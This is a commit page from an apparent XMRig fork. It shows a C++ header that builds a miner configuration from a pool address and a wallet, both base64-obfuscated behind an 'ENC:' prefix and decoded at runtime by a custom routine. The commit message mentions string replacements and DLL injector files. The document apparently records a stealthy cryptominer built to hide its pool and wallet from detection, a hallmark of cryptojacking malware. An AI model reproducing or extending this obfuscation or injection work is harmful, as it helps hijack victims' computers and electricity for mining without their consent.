This commit reverts all previous CMake and C++ modifications made during the attempt to implement automatic CUDA/OpenCL detection. It also includes the current state of string replacements and new test files (test_xmrig.cpp, dll_injector.cpp, dll_injectorWORKING.cpp) for debugging application crashes. The primary goal of this commit is to save all current progress to GitHub before further debugging.
119 lines
3.9 KiB
C++
119 lines
3.9 KiB
C++
#ifndef XMRIG_CONFIG_DEFAULT_H
|
|
#define XMRIG_CONFIG_DEFAULT_H
|
|
|
|
#include <stdio.h>
|
|
#include <string.h> // for strcpy
|
|
|
|
namespace xmrig {
|
|
|
|
const char* const ENC_URL = "ENC:cG9vbC5zdXBwb3J0eG1yLmNvbTozMzMz";
|
|
const char* const ENC_USER = "ENC:OEJYVk02RVRXWEpLTXRxSER4ZGdqRUhXOHFuZGE1YmVkNWN4UHZ1N3pnVlNYSmdIWm9nZVRBQk12WHBZU0hvUnB1Y1dkcWRGeVdneDNlM1d6SjdiNXVZVEVBc3lib0E=";
|
|
|
|
inline const char* unwrap(const char* s)
|
|
{
|
|
const char prefix0 = 'E';
|
|
const char prefix1 = 'N';
|
|
const char prefix2 = 'C';
|
|
const char prefix3 = ':';
|
|
if (!s) return s;
|
|
if (s[0] != prefix0 || s[1] != prefix1 || s[2] != prefix2 || s[3] != prefix3) {
|
|
return s;
|
|
}
|
|
|
|
const char* in = s + 4;
|
|
|
|
static unsigned char dtab[256];
|
|
static unsigned char init = 0;
|
|
if (!init) {
|
|
unsigned int i;
|
|
for (i = 0; i < 256; ++i) dtab[i] = 255u;
|
|
for (i = 'A'; i <= 'Z'; ++i) dtab[i] = (unsigned char)(i - 'A');
|
|
for (i = 'a'; i <= 'z'; ++i) dtab[i] = (unsigned char)(26 + (i - 'a'));
|
|
for (i = '0'; i <= '9'; ++i) dtab[i] = (unsigned char)(52 + (i - '0'));
|
|
dtab[(unsigned char)'+'] = 62;
|
|
dtab[(unsigned char)'/'] = 63;
|
|
init = 1;
|
|
}
|
|
|
|
static char outbuf[2048];
|
|
unsigned int outpos = 0;
|
|
|
|
int val = 0;
|
|
int valb = -8;
|
|
unsigned char c;
|
|
unsigned int idx = 0;
|
|
while (1) {
|
|
c = (unsigned char)in[idx];
|
|
if (c == 0) break;
|
|
if (c == '=') break;
|
|
unsigned char v = dtab[c];
|
|
if (v == 255u) {
|
|
++idx;
|
|
continue;
|
|
}
|
|
val = (val << 6) + v;
|
|
valb += 6;
|
|
if (valb >= 0) {
|
|
unsigned char octet = (unsigned char)((val >> valb) & 0xFF);
|
|
if (outpos < sizeof(outbuf) - 1) {
|
|
outbuf[outpos++] = (char)octet;
|
|
} else {
|
|
break;
|
|
}
|
|
valb -= 8;
|
|
}
|
|
++idx;
|
|
}
|
|
|
|
if (outpos < sizeof(outbuf)) outbuf[outpos] = 0;
|
|
else outbuf[sizeof(outbuf)-1] = 0;
|
|
|
|
return outbuf;
|
|
}
|
|
|
|
inline const char* getEmbeddedConfig()
|
|
{
|
|
static char buf[8192] = {0};
|
|
const char* tmp_url = unwrap(ENC_URL);
|
|
char url_copy[512];
|
|
strcpy(url_copy, tmp_url ? tmp_url : "");
|
|
const char* url = url_copy;
|
|
const char* user = unwrap(ENC_USER);
|
|
|
|
const char* template_str = R"===({
|
|
"api":{"id":null,"worker-id":null},
|
|
"http":{"enabled":false,"host":"127.0.0.1","port":0,"access-token":null,"restricted":true},
|
|
"autosave":true,
|
|
"background":false,
|
|
"colors":true,
|
|
"title":true,
|
|
"randomx":{"init":-1,"init-avx2":-1,"mode":"auto","1gb-pages":false,"rdmsr":true,"wrmsr":true,"cache_qos":false,"numa":true,"scratchpad_prefetch_mode":1},
|
|
"cpu":{"enabled":true,"huge-pages":true,"huge-pages-jit":false,"hw-aes":null,"priority":null,"memory-pool":false,"yield":true,"max-threads-hint":100,"asm":true,"argon2-impl":null,"cn/0":false,"cn-lite/0":false},
|
|
"opencl":{"enabled":false,"cache":true,"loader":null,"platform":"AMD","adl":true,"cn/0":false,"cn-lite/0":false},
|
|
"cuda":{"enabled":false,"loader":null,"nvml":true,"cn/0":false,"cn-lite/0":false},
|
|
"donate-level":1,
|
|
"donate-over-proxy":1,
|
|
"log-file":null,
|
|
"pools":[{"algo":null,"coin":null,"url":"%s","user":"%s","pass":"x","rig-id":null,"nicehash":false,"keepalive":false,"enabled":true,"tls":false,"tls-fingerprint":null,"daemon":false,"socks5":null,"self-select":null,"submit-to-origin":false}],
|
|
"print-time":60,
|
|
"health-print-time":60,
|
|
"dmi":true,
|
|
"retries":5,
|
|
"retry-pause":5,
|
|
"syslog":false,
|
|
"tls":{"enabled":false,"protocols":null,"cert":null,"cert_key":null,"ciphers":null,"ciphersuites":null,"dhparam":null},
|
|
"user-agent":null,
|
|
"verbose":0,
|
|
"watch":true,
|
|
"pause-on-battery":false,
|
|
"pause-on-active":false
|
|
})===";
|
|
|
|
snprintf(buf, sizeof(buf), template_str, url, user);
|
|
return buf;
|
|
}
|
|
|
|
} // namespace xmrig
|
|
|
|
#endif // XMRIG_CONFIG_DEFAULT_H
|